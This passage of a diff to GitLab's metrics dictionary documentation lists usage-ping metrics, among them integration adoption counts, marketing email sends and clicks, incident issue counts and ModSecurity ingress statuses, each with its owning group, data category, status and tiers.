+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_flowdock_active`
+
+Count of active groups inheriting integrations for Flowdock
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175846_groups_inheriting_flowdock_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_github_active`
+
+Count of active groups inheriting integrations for GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.groups_inheriting_hangouts_chat_active`
+
+Count of active groups inheriting integrations for Hangouts Chat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175908_groups_inheriting_hangouts_chat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_hipchat_active`
+
+Count of active groups inheriting integrations for HipChat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175919_groups_inheriting_hipchat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_irker_active`
+
+Count of active groups inheriting integrations for Irker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175930_groups_inheriting_irker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_jenkins_active`
+
+Count of active groups inheriting integrations for Jenkins
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_jira_active`
+
+Count of active groups inheriting integrations for Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_mattermost_active`
+
+Count of active groups inheriting integrations for Mattermost
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_mattermost_slash_commands_active`
+
+Count of active groups inheriting integrations for Mattermost (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_microsoft_teams_active`
+
+Count of active groups inheriting integrations for Microsoft Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_mock_ci_active`
+
+Count of active groups inheriting integrations for Mock CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_mock_monitoring_active`
+
+Count of active groups inheriting integrations for Mock Monitoring
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_packagist_active`
+
+Count of active groups inheriting integrations for Packagist
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_pipelines_email_active`
+
+Count of active groups inheriting integrations for Pipeline Emails
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_pivotaltracker_active`
+
+Count of active groups inheriting integrations for Pivotal Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_prometheus_active`
+
+Count of active groups inheriting integrations for Prometheus
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180940_groups_inheriting_prometheus_active.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_pushover_active`
+
+Count of active groups inheriting integrations for Pushover
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_redmine_active`
+
+Count of active groups inheriting integrations for Redmine
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_slack_active`
+
+Count of active groups inheriting integrations for Slack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_slack_slash_commands_active`
+
+Count of active groups inheriting integrations for Slack (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_teamcity_active`
+
+Count of active groups inheriting integrations for Teamcity CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_unify_circuit_active`
+
+Count of active groups inheriting integrations for Unifiy Circuit
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_webex_teams_active`
+
+Count of active groups inheriting integrations for Webex Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_youtrack_active`
+
+Count of active groups inheriting integrations for YouTrack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_irker_active`
+
+Count of groups with active integrations for Irker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175923_groups_irker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_jenkins_active`
+
+Count of groups with active integrations for Jenkins
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175934_groups_jenkins_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_jira_active`
+
+Count of groups with active integrations for Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175945_groups_jira_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_mattermost_active`
+
+Count of groups with active integrations for Mattermost
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_mattermost_slash_commands_active`
+
+Count of groups with active integrations for Mattermost (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_microsoft_teams_active`
+
+Count of groups with active integrations for Microsoft Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_mock_ci_active`
+
+Count of groups with active integrations for Mock CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_mock_monitoring_active`
+
+Count of groups with active integrations for Mock Monitoring
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_packagist_active`
+
+Count of groups with active integrations for Packagist
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180029_groups_packagist_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_pipelines_email_active`
+
+Count of groups with active integrations for Pipeline Emails
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_pivotaltracker_active`
+
+Count of groups with active integrations for Pivotal Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_prometheus_active`
+
+Count of groups with active integrations for Prometheus
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180933_groups_prometheus_active.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_pushover_active`
+
+Count of groups with active integrations for Pushover
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180102_groups_pushover_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_redmine_active`
+
+Count of groups with active integrations for Redmine
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180113_groups_redmine_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_slack_active`
+
+Count of groups with active integrations for Slack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180124_groups_slack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_slack_slash_commands_active`
+
+Count of groups with active integrations for Slack (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_teamcity_active`
+
+Count of groups with active integrations for Teamcity CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_unify_circuit_active`
+
+Count of groups with active integrations for Unifiy Circuit
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_webex_teams_active`
+
+Count of groups with active integrations for Webex Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_youtrack_active`
+
+Count of groups with active integrations for YouTrack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_create_0_cta_clicked`
+
+Total clicks on the create track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_create_0_sent`
+
+Total sent emails of the create track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_create_1_cta_clicked`
+
+Total clicks on the create track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_create_1_sent`
+
+Total sent emails of the create track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_create_2_cta_clicked`
+
+Total clicks on the create track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_create_2_sent`
+
+Total sent emails of the create track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_experience_0_sent`
+
+Total sent emails of the experience track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_team_0_cta_clicked`
+
+Total clicks on the team track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_team_0_sent`
+
+Total sent emails of the team track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_team_1_cta_clicked`
+
+Total clicks on the team track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_team_1_sent`
+
+Total sent emails of the team track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_team_2_cta_clicked`
+
+Total clicks on the team track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_team_2_sent`
+
+Total sent emails of the team track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_trial_0_cta_clicked`
+
+Total clicks on the verify trial's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_trial_0_sent`
+
+Total sent emails of the trial track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_trial_1_cta_clicked`
+
+Total clicks on the trial track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_trial_1_sent`
+
+Total sent emails of the trial track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_trial_2_cta_clicked`
+
+Total clicks on the trial track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_trial_2_sent`
+
+Total sent emails of the trial track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_verify_0_cta_clicked`
+
+Total clicks on the verify track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_verify_0_sent`
+
+Total sent emails of the verify track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_verify_1_cta_clicked`
+
+Total clicks on the verify track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_verify_1_sent`
+
+Total sent emails of the verify track's second email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_verify_2_cta_clicked`
+
+Total clicks on the verify track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_verify_2_sent`
+
+Total sent emails of the verify track's third email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml)
+
+Group: `group::activation`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_review_folder`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181916_in_review_folder.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.incident_issues`
+
+Count of incidents (issues where issue_type=incident)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180447_incident_issues.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.incident_labeled_issues`
+
+Count of all issues with the label=incident
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180451_incident_labeled_issues.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ingress_modsecurity_blocking`
+
+Whether or not ModSecurity is set to blocking mode
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ingress_modsecurity_disabled`
+
+Whether or not ModSecurity is disabled within Ingress
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ingress_modsecurity_logging`
+
+Whether or not ModSecurity is set to logging mode
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ingress_modsecurity_not_installed`
+
+Whether or not ModSecurity has not been installed into the cluster
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ingress_modsecurity_packets_anomalous`
+
+Cumulative count of packets identified as anomalous by ModSecurity since Usage Ping was last reported
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ingress_modsecurity_packets_processed`
+
+Cumulative count of packets processed by ModSecurity since Usage Ping was last reported
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ingress_modsecurity_statistics_unavailable`
+
+Whether or not ModSecurity statistics are unavailable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175441_ingress_modsecurity_statistics_unavailable.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `removed`
+
+Tiers: `ultimate`
+
+### `counts.instance_clusters_disabled`
+
+Total GitLab Managed disabled clusters previously attached to the instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175248_instance_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instance_clusters_enabled`
+
+Total GitLab Managed clusters attached to the instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175240_instance_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.instances_asana_active`
+
+Count of active instance-level integrations for Asana
+
